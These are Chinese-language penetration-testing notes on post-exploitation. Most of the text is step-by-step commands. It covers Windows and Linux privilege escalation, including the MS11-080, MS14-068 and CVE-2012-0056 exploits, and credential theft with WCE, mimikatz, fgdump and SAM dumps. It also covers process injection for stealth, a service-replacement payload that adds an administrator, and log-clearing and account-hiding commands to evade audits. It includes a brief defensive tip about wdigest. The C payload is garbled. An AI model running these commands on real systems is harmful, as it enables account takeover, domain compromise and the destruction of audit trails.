auth.log
本地提權
已實現本地低權限賬號登錄
遠程溢出
直接獲得賬號密碼
希望獲取更高權限
實現對目標進一步控制
前提:
已經登錄到目標系統的服務器上,但是得到的是一個低權限用戶,進行提權,最終達到全面控制目標系統
系統賬號之間權限隔離
操作系統安全的基礎
用戶空間
內核空間
系統賬號
用戶賬號登陸時獲取權限令牌
服務賬號無需用戶登陸已在后台啟動服務
了解:
操作系統多用戶,沒有單用戶的。
多用戶操作系統指的是一個系統里可以設置多個用戶賬號,可以是用戶賬號也可以是應用程序的賬戶(讓某些應用程序以這個賬戶去執行應用程序)。
目的:
實現不同賬戶之間的權限分離,因為所有的事情給一個賬號去做,那么就需要給這個賬號最大的權限。賬戶密碼一旦失竊,HACK獲得之后,控制服務器。
安全建議:
不同的應用,不同的用戶,不同的人,都創建各自獨立的賬號,賦予每個賬號相應的權限,給於它完成本職工作足夠的權限,除了本職工作之外的權限都不給於。
滲透:
當滲透的時候,拿到一個權限非常受限的賬號密碼,登錄進去發現自己在這個系統中能做的事情很少,有可能只是對一個應用/一個服務可以有基本的控制和使用權,甚至控制權都沒有只有使用權,即使拿到賬號密碼離最終的目的相距甚遠。
用戶空間:
可以由各個用戶賬戶使用用戶空間,在里面執行各種操作,編輯文檔/安裝軟件/對系統進行定制化等等一些操作
內核空間:
工作在與用戶空間完全獨立的內核空間,內核空間里的所有操作是用戶空間里的用戶沒有辦法去接觸到的,出於安全性考慮,不同的操作系統也為內核空間的操作,也划分了不同的賬號,有的賬號可以做一些低層的,核心的操作;也有一些被限制權限非常小,只能做很有限的一點點內核操作。
小結:
現在的操作系統,已經把不同的用戶划分到各自非常獨立的,非常有限的空間里面。
安全檢查:
用戶權限的賦予,做安全審計時候,非常非常重要的一個工作項目
用戶賬號:
最高權限賬號創建用戶,當用戶登陸時獲取唯一權限令牌,下一次登錄是獲取隨機令牌。
服務賬號:
即使用戶賬戶不登錄系統,這些服務用戶已在后台啟動服務
Windows
user
Administrator
System
Linux
User
Root
默認用戶:
user,Administrator,System(負責啟動系統內核,真正的最大權限者)
用戶提權:
user-->administrator-->system(他們的權限之間是有交集,不是完全包含,user被administrator包含)
當獲得user提權為administrator
當獲得administrator提權為system
ADMIN提權為SYSTEM
Windows system賬號
系統設置管理功能
SysInternal Suite
https://technet.microsoft.com/en-us/sysinternals/bb545027
psexec -i -s -d taskmgr
at 19:39 /interactive cmd
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
設置密碼
net user 賬戶名字 *
查看當前賬戶情況(屬於哪個組)
net user 賬戶名字
圖形化查看
管理-->本地用戶和組-->屬性-->隸屬於-->哪個組
思路
調用系統功能來提權,這些功能默認使用system去執行
提權--將administrator提權為system
1.at---只能在window xp /window 2003
at /?
at
at 19:39 /interactive cmd 交互
啟動任務管理器(查看cmd的權限是否為system)
可以在該cmd窗口下,輸入一些命令執行相關操作,舉例:notepad
每個進程都單獨啟動比較繁瑣,能否用system賬號把administrator的explore殺死
taskmgr 打開,explore 殺死,桌面環境消失
任務管理器中,文件,創建新任務,輸入explore ,桌面環境出現,點擊開始,可以查看當前用戶權限
這時就不需要使用命令行去執行命令了。
當遇到有些操作需要administrator權限,注銷就可以回到administrator
2.sc---win7/win8
創建系統命令
sc Create syscmd binPath= "cmd /K start" type= own type= interact
查看創建的服務
services.msc
命令行啟動
sc start syscmd
3.外置軟件
(1)SysInternal Suite
找到whoami程序(不能使用就找網上找一個),放到window/system32/
命令行下使用 whoami(administrator)
sc start syscmd 打開一個新的窗口
whoami(system)
(2)在SysInternal Suite找到PsExec.exe 放到window/system32/
命令行下運行PsExec.exe-->agree
查看參數
-i 交互模式
-s 使用system賬號
PsExec.exe -i -s
注入進程提權
隱蔽痕跡
pinjector.exe
http://www.tarasco.org/security/Process_Injector/ (工具找不到了。。。)
目的:
實現目的也是從管理員提升成system賬戶,也可從管理員提升為低權限賬號,或者提升生成其他管理員賬號。
總之,可以將自己提升成不同權限的賬號
思路:
找一個system運行的服務進程,把自己注入到進程里面,注入到進程里就和進程有同樣的用戶權限,也就是system。
流程:
默認情況下,使用操作系統自帶的程序是無法實現的,所以必須使用第三方程序(進程注入器)
下載http://www.tarasco.org/security/Process_Injector/
pinjector.exe放到window/system32/
pinjector.exe 運行命令
pinjector.exe -l 列出可注入的進程
pinjector.exe -p pid cmd 5555 注入到系統正常的服務里,偵聽555端口(一定要注入services.exe,查看后面是否為system運行)
netstat -ano | find “5555” 查看端口
任務管理器-->查看-->選擇列-->PID(服務名字與PID沒有改變)
nc -nv ip 5555 (連接不上,原因防火牆開啟)
查看進程,手動查殺進程
SysInternal Suite中有一個presxp文件
查看注入的服務中(詳細信息,屬性-TCP/UDP),存在的問題。
好處,
不增加任何新的進程,隱蔽痕跡。
即獲得system權限,又相當隱蔽的效果。
網上案例
https://www.cnblogs.com/NBeveryday/p/6239351.html
抓包嗅探--獲取目標密碼
Windows
Wireshark
Omnipeek
commview--xp
Sniffpass--基於抓包收集密碼
Linux
Tcpdump
Wireshark
Dsniff--基於抓包收集密碼
sniffpass-win
win開啟sniffpass
kali下開啟ftp
service pure-ftpd start
netstat -pantu | grep 21
win訪問ftp
ftp://ip
觀察sniffpass
Dsniff--kali
dsniff -h
dsniff -i eth0
鍵盤記錄--獲取目標密碼
Keylogger
木馬竊取
法國木馬
DarkComet
本地緩存密碼
瀏覽器緩存的密碼
IE瀏覽器
Firefox
網絡密碼
無線密碼
http://www.nirsoft.net(密碼破解網站)
Dump SAM
Pwdump(kali下面默認集成,該工具可以遠程執行)
/usr/share/windows-binaries/fgdump/
瀏覽器緩存
登陸一個網站,提示是否記住,這樣是為了方便工作使用,因為這次登陸需要輸入密碼,那么下一次登陸還需要輸入密碼,這樣用戶體驗差,瀏覽器為了人性化的考慮,提示保存密碼,保存之后下一次登陸網站的時候,瀏覽器會自動將信息填入到相應的表單中。
思路
如果登陸控制了一台服務器,可以通過一些方法,把瀏覽器中保存的這些歷史賬號密碼提取出來,從而發現用戶登陸更多系統的賬戶密碼
實戰
Firefox:Edit--->perferences-->Security-->Eemeber password for sites--->Saved Passwords--->show passwords
IE瀏覽器:工具-->Internet-->內容-->自動完成“設置”--->管理密碼
網絡密碼-->控制面板-->憑據管理器-->查看相應的憑據
Pwdump(從SAM中讀取)-->放入xp系統-->命令行-->Pwdump.exe-->找到數據庫window/system32/config/SAM (文本直接讀取是打不開的)-->利用Pwdump讀取SAM文件賬戶和密碼--->Pwdump.exe localhost-->保存hash-->kali下利用ophcrack破解hash
WINDOWS身份認證過程
WCE(WINDOWS CREDENTIAL EDITOR)
kali目錄下,/usr/share/wce/
需要管理員權限
wce-universal.exe -l / -lv
wce-universal.exe -d
wce-universal.exe -e / -r
wce-universal.exe -g
wce-universal.exe -w
LM/NT hash
原理
從內存中讀取,必須是用戶登錄狀態
實戰
cd /usr/share/wce/
ls
ls -l
將wce-universal.exe拷貝到目標機
wce-universal.exe -l 顯示當前已經登錄狀態的賬號
wce-universal.exe -lv 顯示當前已經登錄賬號的詳細信息(登錄賬號不注銷,切換查看)
wce-universal.exe -r 每隔5秒,刷新當前已經登錄賬號狀態(登錄賬號不注銷,切換查看)
wce-universal.exe -e 指定刷新時間,刷新當前已經登錄賬號狀態(登錄賬號不注銷,切換查看)
wce-universal.exe -d seesion值 刪除
wce-universal.exe -g 計算的值 計算生成的hash值
wce-universal.exe -w 讀取內存密碼,查看創建的用戶與密碼
net user xxx 查看用戶是否歸屬於管理員組
將a的會話改為b的會話(賬號秘密更改)
wce-universal.exe -i a的luid -s b的賬戶信息
wce-universal.exe -lv
從內存讀取LM / NTLM hash
Digest Authentication Package
NTLM Security Package
Kerberos Security Package
防止WCE攻擊
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
kerberos
msv1_0
schannel
wdigest
tspkg
pku2u
思路
刪除Digest Authentication Package,重啟之后使用wce查看密碼就看不到了
實戰
regedit
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
刪除wdigest,讀取不到密碼,系統自動關機,再次啟動這時系統已經被注入,被破壞了。繼續使用的話容易出現問題。。。
其他工具
pwdump localhost ---提取密碼hash值
fgdump
mimikatz
privilege::debug #提升權限
sekurlsa::logonPasswords
::
fgdump
位置 /usr/share/windows-binaries/
拷貝到目標機器,雙擊”fgdump“,生成3個文件,查看文件內容
其他賬戶沒有登錄的情況下,fgdump依舊可以讀取到其他用戶密碼
mimikatz(大神級別)
位置 /usr/share/mimikatz
ls (選擇相應的版本32/64)
拷貝到目標機器
執行命令mimikatz.exe
:: 查看參數
privilege::debug 提升權限
sekurlsa::logonPasswords 查看登錄信息
process ::list 進程列表
process ::start calc 啟動進程
process ::suspend xx 凍住某個進程
process ::resume xx 恢復某個進程
lsadump::sam 讀取密碼(win7/8可以執行)
lsadump::cache
lsadump::lsa
lsadump::hash
ts:: 終端服務,多用戶登錄交互
ts::multirdp 打補丁,可以多用戶登錄,互不干擾
查處操作系統日志
eventvwr
event::clear 清除系統安全性日志
event::drop 不產生新的日志,登錄信息不會記錄到日志,管理員進行審計會審計不到
misc::cmd 啟動cmd
net localgroup
misc::regedit 啟動注冊表
misc::wifi 查看連接過的無線密碼
tocken::
tocken::whoami 查看當前用戶
tocken::list
利用漏洞提權(沒有打補丁的情況下)
Ms11-080
Kb2592799
https://technet.microsoft.com/library/security/ms11-080
Pyinstaller
https://pypi.python.org/pypi/PyInstaller/2.1
python pyinstaller--onefile ms11-080.py
Pywin32
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
MS11-046
DoS
利用低權限提權
Ms11-080---
表示11年發現的第80個漏洞。
Kb2592799
表示關於漏洞描述以及漏洞的解決辦法。
MS11-046
可以實現DoS
實戰(PC本地提權)
searchsploit ms11-080 搜索漏洞
cp /usr/share/exploitdb/platforms/windows/local/18176.py . 拷貝到當前目錄
復制到目標機器,目標主機安裝有p0ython
cd /Python27
python.exe 18176.py -O XP
在中文版本xp系統上實現的是拒絕服務攻擊,在英文版本上實現的是提權
appwiz.cpl 檢查補丁信息
卸載存在的Kb2592799
問題來了,不可能所有的目標機器都有安裝python的機會,這時候怎么辦?
在本機下編譯為exe文件
問題又來了,如何編譯?
第一,有python環境;
第二,組件Pyinstaller
第三,組件Pywin32
第四,先裝pywin32,后解壓Pyinstaller
第五,將解壓后的Pyinstaller放到pyhon32中,后將18176.py放入Pyinstaller中
第六,cd \--->cd python27\PyInstaller-2.1--->dir--->../python.exe PyInstaller.py --onefile 18176.py
第七,將文件拷貝到目標機器的臨時文件夾,確認目標機器是普通用戶權限(net user xx)
第八,cd \-->cd temp-->net user xx(查看當前用戶是否為普通用戶)---->18176.exe -O XP
第九,再次查看自己的權限,成功提權,所有管理員權限都可以做
net localgroup administration xx /add
接下來可以進行修改管理員權限
Ms14-068
庫
https://github.com/bidord/pykek
ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
拷貝 TGT_user1@lab.com.ccache 到windows系統
本地管理員登陸
mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
思路
可通過ms11-080漏洞獲得一台機器本地管理員的控制權,但是很多公司有域管理(微軟定義安全邊界)
前提
擁有本機的管理員權限。
利用
成功利用,可以獲得域里面一台普通用戶的管理員權限,可以是域里面的一名普通用戶,只要具有本機的管理員權限,就可以獲得域的管理員權限
搭建域控
47-1 -----(50-60)
實戰(win7下可以,xp失敗,將本地管理員提權為域控管理員權限)
searchsploit ms14-068 搜索
cp /usr/share/exploitdb/platforms/windows/remote/35474.py . 拷貝到當前目錄
1.首先在kali下,生成票據文件
python 35474.py -u user@lab.com -s userSID -d dc.lab.com
-u 指定當前域賬號用戶,域給分配的最低權限的
-s 賬號的SID (net user xx \domain,,,,,利用腳本whoami查看)
-d 域名(計算機屬性-->計算機名-->完整的計算機名稱,解析不了域名,所以直接指定域管理地址IP)
提示輸入密碼,user@lab.com的密碼,已經掌握的密碼
2.然后將票據文件拷貝到windows系統去使用
使用本地管理員賬號登陸,將票據文件與mimika放在同一個文件夾下
3.最后在windows下利用mimikatz完成票據的提升
cd\
dir
kerberos::ptc TGT_user@lab.com.ccache
net use \\w2k3.lab.com\admin$ 訪問域共享文件夾
klist 列舉當前身份驗證信息
運行-->\\w2k3.lab.com\c$
regedit 打開一個注冊表,連接一個網絡注冊表
mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
域下的普通用戶是無法訪問\\w2k3.lab.com\c$
在域控下,對比3種工具的
fgdump 只能查看本地的用戶信息
wce 可以查看域里面的用戶信息(當前當管理員登陸到你的機器上,這時候你們同時在線,可以使用wce查看當前登陸用戶的信息,前提你是本機的管理員)
mimikatz(privilege::debug 提權---->kerberos::list---->sekurlas::logonPasswords )
庫的問題
初次使用ms14-068.py -u user@lab.com -s userSID -d dc.lab.com腳本的時,會遇到一個報錯提示,缺少一些庫文件
下載軟件包
https://github.com/mubix/pykek
Ubuntu11.10
http://old-releases.ubuntu.com/releases/11.10/
gcc
sudo apt-cdrom add && sudo apt-get install gcc
gcc 18411.c -o exp
CVE-2012-0056
/proc/pid/mem
kernels >=2.6.39
http://blog.zx2c4.com/749
實戰
搜索漏洞代碼
searchsploit cve-2012-0056
searchsploit 18411.c
拷貝目標機器
cp /usr/share/exploitdb/platforms/linux/local/18411.c .
目標機器安裝gcc
sudo apt-cdrom add && sudo apt-get install gcc
修改為exp
gcc 18411.c -o exp
給exp權限
chmod +x exp
查看當前權限
w
運行
./exp
命令查看
id
遇到的問題
安裝不上gcc
解決辦法
加載iso光盤
將光盤掛載到目錄mnt或者media/cdrom
ls /mnt/
ls /media/
mount /dev/cdrom /media/cdrom
查看掛載情況
ls /media/cdrom
將cd作為更新源
apt-cdrom add
安裝gcc
apt-get install gcc
利用配置不當提權
與漏洞提權相比 更常用的方法
企業環境
補丁更新的全部已經安裝
輸入變量過濾之外更值得研發關注的安全隱患
以system權限啟動
NTFS權限允許users修改刪除
思路
在一些企業用戶安全意識比較好的,有補丁安裝更新的策略,不容易發現企業中有一台很老的漏洞供hack去利用,在安全制度比較健全,比較完善的企業里比較難發現這樣的漏洞,去完成提權。
在企業環境下,想進行提權,有的情況下就無法利用漏洞了,那么就可以采用其他的一些方法....
利用管理員對服務器權限的分配不當完成權限的提升,操作系統的服務都是默認以system權限運行的,開發人員的意思不夠強,沒有在代碼里進行相應的參數過濾等等安全機制的增加,在操作系統中啟動就是以system權限運行的,滲透進入一台主機的話,如果找不到漏洞提權,可以查看當前系統的操作系統權限,查看某些服務是不是以system權限執行,找到存在的系統服務,可以嘗試替換啟動服務的執行程序,如果執行程序可以替換掉,服務下次開機服務啟動的時候,被替換為我們的反彈shell程序,程序被執行,就可以獲得系統的執行權限(更加常見的情況)
條件
查看服務的權限(services.msc---是否為本地系統)
同時了解程序NTFS權限(啟動的NTFS權限限制不嚴謹,允許普通用戶去修改/刪除/替換,就可以使用反彈shell程序替換)
icacls
icacls c:\windows\*.exe /save perm /T
i586-mingw32msvc-gcc -o admin.exe admin.c
Find
find / -perm 777 -exec ls -l {} \;
如何快速發現配置不當的權限
icacls
icacls c:\windows\*.exe /save perm /T 保存為文本
打開文本perm,查找“FA:::BU”,
反彈shell代碼--admin.c
#include<stdlib.h>
int mian()
i=system("net localgroup administrator a /add");
return 0;
}
編譯
i586-mingw32msvc-gcc -o admin.exe admin.c
查看
file admin.exe
拷貝
cp xx xx
linux下查找
ls -l
find / -perm 777 -exec ls -l {} \;
應用系統的配置文件
應用連接數據庫的配置文件
后台服務運行賬號
思路:
比如滲透進入一個web應用系統,無論是哪種架構的程序,應用服務器與數據庫之間都會有連接,基於這個特點控制一台應用服務器權限,可利用應用程序的配置文件,配置文件里面可能存在用戶賬號密碼。
基本信息收集
Linux
/etc/resolv.conf dns配置
/etc/passwd 用戶賬戶
/etc/shadow 用戶密碼
whoami and who -a
ifconfig -a, iptables -L -n, netstat –r ip/防火牆設置/網關
uname –a, ps aux 操作系統版本,進程
dpkg -l | head 所有安裝的軟件包
實戰
ls /etc/passwd -l
ls /etc/shadow -l
Windows
ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r 所有的網絡配置參數/dns緩存/查看路由
net view , net view /domain 查看網絡共享的
net user /domain, net user %username% /domain 查域賬號
net accounts, net share 查看當前機器開啟的共享
net localgroup administrators username /add 添加管理員組
net group "Domain Controllers" /domain 域環境下,可以查看到Domain有哪些主機賬戶
net share name$=C:\ /unlimited 開啟C盤共享
net user username /active:yes /domain 域環境下,在有域管理員權限下,發現鎖定賬號,啟動賬號
實戰
ipconfig /displaydns 可以發現目標經常訪問哪些重要的服務器
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
wmic nicconfig get ipaddress,macaddress 讀取mac地址
wmic computersystemget username 讀取當前登錄賬戶
wmic netlogin get name,lastlogon 讀取上次登錄記錄
wmic process get caption, executablepath,commandline 讀取使用進程
wmic process where name=“calc.exe" call terminate 結束進程
wmic os get name,servicepackmajorversion 提取操作系統版本
wmic product get name,version 查看安裝軟件
wmic product where name=“name” call uninstall /nointeractive 后台運行刪除軟件
wmic share get /ALL 查看共享文件夾
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1“ 開啟遠程桌面
wmic nteventlogget path,filename, writeable 查看當前系統日志
收集敏感數據
商業信息
系統信息
Linux
/etc ;/usr/local/etc
/etc/passwd ;/etc/shadow
.ssh ;.gnupg 公私鑰
The e-mail and data files
業務數據庫 ;身份認證服務器數據庫
/tmp 臨時目錄
實戰:
ls -la 查看.文件
cat .ssh/know_hosts 查看登錄過的秘鑰
cd .gnupg 公私鑰
windows
SAM 數據庫 ; 注冊表文件
%SYSTEMROOT%\repair\SAM 修復的版本的sam
%SYSTEMROOT%\System32\config\RegBack\SAM 備份的sam
業務數據庫 ; 身份認證數據庫
臨時文件目錄
UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
實戰:
無
隱藏痕跡
禁止在登陸界面顯示新建賬號
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T
REG_DWORD /D 0
del %WINDIR%\*.log /a/s/q/f
History
日志
auth.logauth.log / secure
btmp / wtmp
lastlog / faillog
其他日志和 HIDS 等
實戰:
1.win
禁止在登陸界面顯示新建賬
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v 用戶名 /T REG_DWORD /D 0
在net user中不顯示
????
刪除日志
del %WINDIR%\*.log /a/s/q/f
2.kali
ls -l .bash_history
history -c
lsattr 查看文件屬性,與權限相關的
chattr 更改權限
ls auth.log 日志文件
ls btmp 數據文件
ls lastlog 登錄信息